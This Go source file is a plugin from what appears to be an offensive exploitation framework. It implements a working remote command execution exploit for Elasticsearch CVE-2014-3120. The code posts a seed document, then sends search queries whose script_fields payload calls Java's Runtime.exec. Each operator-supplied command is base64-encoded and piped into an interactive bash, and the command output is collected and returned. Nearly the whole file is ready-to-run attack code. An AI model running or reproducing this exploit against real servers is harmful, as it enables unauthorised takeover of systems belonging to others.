package drops

import (
	"context"
	"encoding/base64"
	"errors"
	"fmt"
	"gitee.com/wudicaidou/menciis-evilops/expbase"
	"gitee.com/wudicaidou/menciis-pocx/pocbase"
	"net/http"
	"net/url"
)

type ElasticsearchCve20143120 struct {
	expbase.BaseExploitPlugin
}

func init() {
	var exp ElasticsearchCve20143120
	info := exp.Meta()
	ExpApis[info.VulId] = &exp
}

func (t *ElasticsearchCve20143120) Meta() *expbase.ExpMeta {
	return &expbase.ExpMeta{
		Id:      "4a900c98-1eb8-462f-94cb-169dba918912",
		VulId:   "8df50ac1-428e-4912-b8cc-c1c01848e0dc",
		Name:    "ElasticSearch_CVE_2014_3120",
		Ability: expbase.TypeCommandExecution,
		Echo:    true,
	}
}

func (t *ElasticsearchCve20143120) ExecuteCommand(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.CommandResultEvent, err error) {
	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return nil, expbase.ErrEmptyReqAsset
	}
	req := reqAsset.Req.Clone()
	baseUrl := req.GetUrl().String()
	req.RawRequest.Method = http.MethodPost
	req.RawRequest.Header.Set("User-Agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)")
	req.RawRequest.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	req.RawRequest.Header.Set("Accept", "*/*")
	req.RawRequest.Header.Set("Accept-Language", "en")
	req.RawRequest.Header.Set("Connection", "close")

	newUrl, err := url.Parse(baseUrl + `/website/blog/`)
	if err != nil {
		fmt.Println(err.Error())
		return nil, nil
	}
	req.RawRequest.URL = newUrl
	test := `{"name": "phithon"}`
	req.SetBody([]byte(test))
	resp, err := expContext.HttpClient.Do(ctx, req)
	if err != nil {
		fmt.Println(err.Error())
		return nil, nil
	}
	if resp.GetStatus() != 201 {
		return nil, errors.New("response status error")
	}

	newUrl, err = url.Parse(baseUrl + `/_search?pretty`)
	if err != nil {
		fmt.Println(err.Error())
		return nil, nil
	}
	req2 := reqAsset.Req.Clone()
	for _, cmd := range expContext.CommandToExecute {
		req2.RawRequest.URL = newUrl
		res := base64.StdEncoding.EncodeToString([]byte(cmd))
		cmd = `bash -c {echo,` + res + `}|{base64,-d}|{bash,-i}`
		body := fmt.Sprintf(`{"size": 1, "query": {"filtered": {"query": {"match_all": { }}}}, "script_fields": {"command": {"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"%s\").getInputStream()).useDelimiter(\"\\\\A\").next();"}}}`, cmd)
		req2.SetBody([]byte(body))
		resp, err = expContext.HttpClient.Do(ctx, req2)
		if err != nil {
			return nil, nil
		}
		data = append(data, &expbase.CommandResultEvent{
			Request:   *req.RawRequest,
			Response:  *resp.RawResponse,
			EventBase: t.GetEventBase(expContext.Target, t),
			Command:   cmd,
			Result:    resp.GetBody(),
		})
	}
	return data, nil
}

func (t *ElasticsearchCve20143120) GetBasicInfo(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.BasicInfoEvent, err error) {
	return nil, nil
}

func (t *ElasticsearchCve20143120) DownloadFile(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.FileDownloadEvent, err error) {
	return nil, nil
}
